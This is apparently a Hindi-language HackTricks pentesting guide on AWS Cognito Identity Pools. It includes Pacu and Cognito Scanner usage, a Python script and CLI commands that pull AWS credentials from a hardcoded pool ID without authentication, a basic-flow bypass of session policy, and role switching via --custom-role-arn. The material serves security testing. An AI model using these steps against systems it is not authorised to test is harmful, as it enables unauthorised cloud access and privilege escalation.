Cognito Identity Pools

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

मौलिक जानकारी

आईडेंटिटी पूल एक महत्वपूर्ण भूमिका निभाते हैं जिसके द्वारा आपके उपयोगकर्ताओं को अस्थायी प्रमाणिकता प्राप्त करने की सुविधा प्रदान की जाती है। ये प्रमाणिकताएँ Amazon S3 और DynamoDB सहित विभिन्न AWS सेवाओं तक पहुंचने के लिए आवश्यक हैं। आईडेंटिटी पूल की एक महत्वपूर्ण विशेषता यह है कि इनका समर्थन उपयोगकर्ता प्रमाणीकरण के लिए अनाम अतिथि उपयोगकर्ताओं और विभिन्न पहचान प्रदाताओं के लिए है। समर्थित पहचान प्रदाताओं में शामिल हैं:

  • Amazon Cognito उपयोगकर्ता पूल

  • फेसबुक, गूगल, अमेज़न लॉगिन और एप्पल साथ में साइन-इन जैसे सोशल साइन-इन विकल्प

  • OpenID Connect (OIDC) के अनुपालन करने वाले प्रदाताएँ

  • SAML (सुरक्षा दावा चिह्नित भाषा) आईडेंटिटी प्रदाताएँ

  • डेवलपर प्रमाणीकृत पहचानें

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

कोग्निटो सिंक

आईडेंटिटी पूल सत्रों को उत्पन्न करने के लिए, आपको पहले आईडेंटिटी आईडी उत्पन्न करनी होगी। यह आईडेंटिटी आईडी उस उपयोगकर्ता के सत्र की पहचान है। ये पहचान 20 डेटासेट्स तक हो सकती हैं जिनमें 1MB तक की कुंजी-मान-जोड़ी संग्रहीत की जा सकती है।

यह उपयोगी है उपयोगकर्ता की जानकारी को रखने के लिए (जो हमेशा एक ही आईडेंटिटी आईडी का उपयोग करेगा)।

इसके अतिरिक्त, सेवा कोग्निटो-सिंक वह सेवा है जो इस जानकारी को प्रबंधित और समकालिक करने की अनुमति देती है (डेटासेट्स में, स्ट्रीम्स में जानकारी भेजने और एसएनएस मैसेज में...)।

पेंटेस्टिंग के लिए उपकरण

  • Pacu, AWS शोषण ढांचा, अब "cognito__enum" और "cognito__attack" मॉड्यूल शामिल करता है जो खाते में सभी कोग्निटो संपत्तियों का सूचीकरण स्वचालित करते हैं और कमजोर विन्यास, पहुंच नियंत्रण के लिए उपयोग किए जाने वाले उपयोगकर्ता गुण, आदि को ध्वजित करते हैं, और उपयोगकर्ता निर्माण (एमएफए समर्थन सहित) और संशोधन उच्चता स्वचालित करते हैं जो संशोधन योग्य अनुकूल गुण, उपयोगी आईडेंटिटी पूल क्रेडेंशियल्स, आईडी टोकन्स में अस्वीकार्य भूमिकाएँ, आदि पर आधारित है।

मॉड्यूल के कार्यों का विवरण के लिए ब्लॉग पोस्ट का भाग 2 देखें। स्थापना निर्देशों के लिए मुख्य Pacu पृष्ठ देखें।

उपयोग

उपयोगकर्ता निर्माण का प्रयास करने और एक दिये गए आईडेंटिटी पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ सभी प्रिवेसेक वेक्टर्स के खिलाफ cognito__attack उपयोग का नमूना:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

निम्नलिखित cognito__enum उपयोग का उदाहरण वर्तमान AWS खाते में दिखाई देने वाले सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि को एकत्र करने के लिए:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner एक CLI टूल है जो पायथन में है और जो Cognito पर विभिन्न हमले को शामिल करता है, जैसे अवांछित खाता निर्माण और पहचान पूल उन्नति।

स्थापना

$ pip install cognito-scanner

उपयोग

$ cognito-scanner --help

अधिक जानकारी के लिए https://github.com/padok-team/cognito-scanner देखें

IAM भूमिकाओं तक पहुंचना

अप्रमाणित

किसी हमलावर को Cognito ऐप में AWS क्रेडेंशियल प्राप्त करने के लिए एकमात्र वस्तु जो जाननी है, वह है आईडेंटिटी पूल आईडी, और इस आईडी को वेब/मोबाइल एप्लिकेशन में हार्डकोड करना चाहिए ताकि इसका उपयोग किया जा सके। एक आईडी इस तरह दिखता है: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (इसे ब्रूटफोर्स नहीं किया जा सकता है)।

आईएम Cognito अप्रमाणित भूमिका जिसे डिफ़ॉल्ट रूप से बुलाया जाता है Cognito_<आईडेंटिटी पूल नाम>Unauth_Role

अगर आपको किसी आईडेंटिटी पूल आईडी को हार्डकोड किया मिलता है और यह अप्रमाणित उपयोगकर्ताओं को अनुमति देता है, तो आप AWS क्रेडेंशियल प्राप्त कर सकते हैं:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

या आप निम्नलिखित aws cli commands का उपयोग कर सकते हैं:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

ध्यान दें कि डिफ़ॉल्ट रूप से एक अनधिकृत कोग्निटो उपयोगकर्ता किसी भी अनुमति नहीं रख सकता, भले ही यह नीति के माध्यम से निर्धारित की गई हो। निम्नलिखित खंड की जाँच करें।

उन्नत बनाम बेसिक प्रमाणीकरण प्रवाह

पिछला खंड डिफ़ॉल्ट उन्नत प्रमाणीकरण प्रवाह का पालन करता था। यह प्रवाह एक प्रतिबंधक सत्र नीति को आईएएम रोल सत्र जिनरेट किया गया सत्र लगाता है। यह नीति केवल सत्र को इस सूची से सेवाओं का उपयोग करने देगी (भले ही रोल को अन्य सेवाओं तक पहुंच हो).

हालांकि, इसे छलने का एक तरीका है, अगर आईडेंटिटी पूल में "बेसिक (क्लासिक) प्रवाह" सक्षम है, तो उपयोगकर्ता उस प्रवाह का उपयोग करके एक सत्र प्राप्त कर सकेगा जिसमें उस प्रतिबंधक सत्र नीति नहीं होगी

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

यदि आपको यह त्रुटि मिलती है, तो यह मूल फ्लो अक्षम (डिफ़ॉल्ट) होने के कारण है

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

IAM क्रेडेंशियल्स के सेट होने पर आपको जांचना चाहिए कि आपके पास कौनसा एक्सेस है और वर्चस्व को उन्नत करने का प्रयास करें।

प्रमाणित

ध्यान रखें कि प्रमाणित उपयोगकर्ताओं को संभावित रूप से विभिन्न अनुमतियाँ प्रदान की जाएंगी, इसलिए यदि आप ऐप्लिकेशन के अंदर साइन अप कर सकते हैं, तो उसे करने का प्रयास करें और नए क्रेडेंशियल्स प्राप्त करें।

यहाँ प्रमाणित उपयोगकर्ताओं के लिए उपलब्ध भूमिकाएँ भी हो सकती हैं जो आईडेंटिटी पूल तक पहुंचने वाले प्रमाणित उपयोगकर्ताओं के लिए उपलब्ध हों।

इसके लिए आपको आईडेंटिटी प्रदाता तक पहुंचने की आवश्यकता हो सकती है। यदि यह एक कोग्निटो उपयोगकर्ता पूल है, तो शायद आप मूल व्यवहार का शोषण कर सकते हैं और नया उपयोगकर्ता खुद से बना सकते हैं

आईएएम कोग्निटो प्रमाणित भूमिका जो बनाई गई है, उसे डिफ़ॉल्ट रूप से Cognito_<Identity Pool name>Auth_Role कहा जाता है।

वैसे, निम्नलिखित उदाहरण की उम्मीद है कि आप पहले से ही एक कोग्निटो उपयोगकर्ता पूल में लॉग इन कर चुके हैं जिसका उपयोग आईडेंटिटी पूल तक पहुंचने के लिए किया गया है (यह याद रखें कि अन्य प्रकार के आईडेंटिटी प्रदाताओं को भी कॉन्फ़िगर किया जा सकता है)।

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# पिछले कमांड के प्रतिक्रिया से identity_id प्राप्त करें
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# IdToken में उपयोगकर्ता के पास एक्सेस करने के लिए भूमिकाएँ पाई जा सकती हैं क्योंकि उपयोगकर्ता पूल समूहों के कारण
# एक विशिष्ट भूमिका के लिए क्रेडेंशियल प्राप्त करने के लिए --custom-role-arn का उपयोग करें
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

यह संभावना है कि आईडेंटिटी प्रदाता के आधार पर विभिन्न IAM भूमिकाएँ कॉन्फ़िगर की जा सकती हैं जिस प्रयोक्ता को लॉग इन किया जा रहा है या फिर केवल उपयोक्ता के आधार पर (दावों का उपयोग करके)। इसलिए, यदि आपके पास एक ही या विभिन्न प्रदाताओं के माध्यम से विभिन्न उपयोगकर्ताओं तक पहुंच है, तो संभावना है कि आपको लॉग इन करने और उन सभी के आईएम भूमिकाओं तक पहुंचने में लाभ हो सकता है

htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें

HackTricks का समर्थन करने के अन्य तरीके:

Last updated